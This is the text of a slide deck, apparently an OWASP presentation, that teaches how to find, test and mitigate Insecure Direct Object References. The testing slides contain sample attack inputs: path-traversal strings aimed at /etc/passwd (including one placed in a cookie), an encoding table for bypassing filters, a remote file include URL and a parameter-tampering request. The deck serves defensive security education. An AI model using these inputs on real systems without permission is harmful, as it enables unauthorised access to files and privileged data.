Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. This presentation explain how to discover this vulnerability in application, how to test and how to mitigate the risk.

1. OWASP Top 10
A4 – Insecure Direct Object Reference
Narudom Roongsiriwong
CISSP

2. WhoAmI
● Lazy Blogger
– Japan, Security, FOSS, Politics, Christian
– http://narudomr.blogspot.com
● Information Security since 1995
● Web Application Development since 1998
● Head of IT Security, Kiatnakin Bank PLC (KKP)
● Contact: narudom.roongsiriwong@owasp.org

3. What Is It?
• Occurs when a developer exposes a reference
to an internal implementation object, such as
a file, directory, or database key.
• Without an access control check or other
protection, attackers can manipulate these
references to access unauthorized data.

4. Impact = Moderate
●
Such flaws can compromise all the data that
can be referenced by the parameter.
●
Unless object references are unpredictable, it’s
easy for an attacker to access all available data
of that type.
●
Consider the business value of the exposed
data as well as the business impact of public
exposure of the vulnerability.

5. Why Care About Insecure Direct Object
References?
●
Although this vulnerability is easy to exploit and easy
to detect, it is still usually ignored by developers
●
June 2000, Australian Treasury GST(Goods and
Services Tax) website was hacked and private
information from 17,000 businesses breached, just by
a student typing in an URL
●
February 2014, Insecure Direct Object Reference allow
attacker to delete all the posted thread and comments
on Yahoo's Suggestion Board website → 1.5 million
records

6. Insecure Direct Object Web Page Query

7. Not Only Web Page but XML Data Island
Client Account ID
Account ID

8. Not Only Web Page but XML Data Island

9. Not Only Web Page but XML Data Island

10. Not Only Web Page but XML Data Island

11. Misunderstanding on Insecure Direct
Object Reference
● We use HTTPS nobody can change my POST parameters
– HTTPS protects data in transportation not the end point, attackers
can manipulate data using tools like OWASP Zap Proxy, Burp Suite
or even Firebug plug-in for Firefox
● We use AJAX to exchange data browser's developer mode
cannot see or change data
– Proxy tools like OWASP Zap Proxy and Burp Suites are able to
intercept HTTP(S) protocol including AJAX communication
● Our mobile application with HTTPS cannot be intercepted,
nobody can change object references
– No, attackers can run your app on rooted or jail-broken devices or
in emulator or connect to access point with proxy tools as named
above

12. Misunderstanding on
Insecure Direct Object Reference
● We can encrypt requests before POSTing
– Be sure you use encryption not encoding like base64
– If you use symmetric encryption, the key will be on
client side somewhere.
● Web application, the encryption key must be
somewhere in your scripts.
● Mobile application, attackers can reverse engineering
you app and find the key
– If you use asymmetric encryption, it is safe, however
your server processing will increase significantly.

13. Mitigations
● Do not expose internal keys or identifiers
– Keep user ID or key in a session variable
– Use a temporary mapping value (See next slide)
● Use object references that are challenging to guess
– GUID/UUID
– Random Number
● Perform server-side authorization checks before object
accesses (strongly recommend)
– Verify the parameter value is properly formatted
– Verify the user is allowed to access the target object
– Verify the requested mode of access is allowed to the target object
(e.g., read, write, delete)

14. Temporary Mapping Value
Account Label MapID
112536 Deposit 1
115696 Current 2
Temporary
In session memory

15. How Do You Test Applications?
• Testing for insecure direct object references can be hard to
automate
– Automated scanners do not know what users should have access to
what data
• Inspect parameters being passed to applications
• Manipulate parameters to see if sensitive information is
disclosed
• Look at pages whose only purpose is to display information
about a single object
– Documents
– Accounts
– Statements

16. OWASP Testing Guide for A4
● Authorization Testing
– Testing Directory
traversal/file include
(OTG-AUTHZ-001)
– Testing for Bypassing
Authorization Schema
(OTG-AUTHZ-002)
– Testing for Privilege
escalation (OTG-AUTHZ-
003)
– Testing for Insecure
Direct Object References
(OTG-AUTHZ-004)

17. Testing Directory traversal/file include
(OTG-AUTHZ-001): Enumeration
● Are there request parameters which could be used for file-related
operations?
● Are there unusual file extensions?
● Are there interesting variable names?
– http://example.com/index.php?file=content
– http://example.com/main.cgi?home=index.htm
– http://example.com/getUserProfile.jsp?item=ikki.html
● Is it possible to identify cookies used by the web application for
the dynamic generation of pages or templates?
Cookie: ID=d9ccd3f4f9f18cc1:T-
M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-
TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed

18. Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
● Insert the malicious string “../../../../” to include the
password hash file for a Linux/Unix or boot.ini for Windows
system
– http://example.com/getUserProfile.jsp?
item=../../../../etc/passwd
● For the cookies example:
– Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
● Try to include files and scripts located on external website.
– http://example.com/index.php?
file=http://www.owasp.org/malicioustxt
● Try to show the source code of a CGI component
– http://example.com/main.cgi?home=main.cgi

19. Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
If “../” does not work, try character encoding such as URL
encoding, double URL encoding, Unicode/UTF-8 encoding
Encoding Test with Represent
URL %2e%2e%2f ../
%2e%2e/ ../
..%2f ../
%2e%2e%5c ..
%2e%2e ..
..%5c ..
Double URL %252e%252e%255c ..
..%255c ..
Unicode/UTF-8 ..%c0%af ../
..%c1%9c ..

20. Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Tools
● DotDotPwn - The Directory Traversal Fuzzer -
http://dotdotpwn.sectester.net
● Path Traversal Fuzz Strings (from WFuzz Tool) -
http://code.google.com/p/wfuzz/source/brows
e/trunk/wordlist/Injections/Traversal.txt
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))
● Encoding/Decoding tools

21. Testing Other Authorization
(OTG-AUTHZ-002 to 004): Prerequisite
● Needs to map out all locations in the application where
user input is used to reference objects directly.
– A database row
– A file
– Application pages
● Having at least two (often more) users to cover different
owned objects and functions
– Users each having access to different objects (such as
purchase information, private messages, etc.)
– Users with different privileges (for example administrator
users) to see whether there are direct references to
application functionality

22. Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): Summary
● Focus on verifying how the authorization schema has
been implemented for each role or privilege to get
access to reserved functions and resources.
● States to verify
– User is not authenticated
– After the log-out
– User that holds a different role or privilege
● Track all the administrative functions when:
– Logging as a user with standard privileges
– Logging as a user with a different role and for whom that
action should be denied

23. Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): How to test
● Testing for access to administrative functions
– Example, Try to post to administrator's “adduser”
when logging on as non-administrative roles
● Testing for access to resources assigned to a
different role
– Example, analyze an application that uses a shared
directory

24. Testing for Privilege escalation (OTG-
AUTHZ-003): Summary
● Verify that it is not possible for a user to modify his or her
privileges or roles inside the application
● Privilege escalation occurs when a user gets access to more
resources or functionality than they are normally allowed
● The degree of escalation depends on what privileges the
attacker is authorized to possess, and what privileges can be
obtained in a successful exploit
● Vertical escalation – access resources granted to more
privileged accounts (e.g., acquiring administrative privileges
for the application)
● Horizontal escalation – access resources granted to a similarly
configured account (e.g., in an online banking application,
accessing information related to a different user)

25. Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...
groupID=grp001&orderID=0001
This POST allows the user that
belongs to grp001 to access order
#0001, logon with a user that does
not belong to grp001 then intercept
the post & try to modify the
parameters to gain access
privileged data

26. Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp;
path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz;
path=/; domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
<form name="autoriz" method="POST" action =
"visual.jsp">
<input type="hidden" name="profile"
value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>
This HTML shows a
hidden field to the
user after a
successful
administrative user
authentication.
Logon with another
non-administrative
user and modify
the value of the
variable "profile" to
"SysAdmin"? Is it
possible to become
administrator?

27. Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Scenarios
● Retrieve a database record
– http://foo.bar/somepage?invoice=12345
● Perform an operation in the application
– http://foo.bar/changepassword?user=someuser
● Retrieve a file system resource
– http://foo.bar/showImage?img=img00011
● Access application functionality
– http://foo.bar/accessPage?menuitem=12

28. Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Where to Look for
● URL Query String
● Cookie (HTTP Header)
● Request Body (Post Method)
– Query String
– XML SOAP Interface
– JSON Document
● Check Web URL, Web Forms, AJAX
Communication, Mobile HTTP Request and
Web Service

29. Common Tools for Authorization Testing
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))

30. Recap
● Insecure direct object references occur when
an application exposes internal references to
objects via parameters passed to the
application
● To guard against:
– Do not expose internal keys or identifiers for
objects
– Use object references that are challenging to guess
– Perform server-side authorization checks before
object accesses (strongly recommend)

31. References
• OWASP
– OWASP Top 10 2010-A4-Insecure Direct Object References
– ESAPI Access Reference Map
– ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction())
• External
– CWE Entry 639 on Insecure Direct Object Reference
– CWE Entry 22 on Path Traversal (an example of a Direct
Object Reference attack)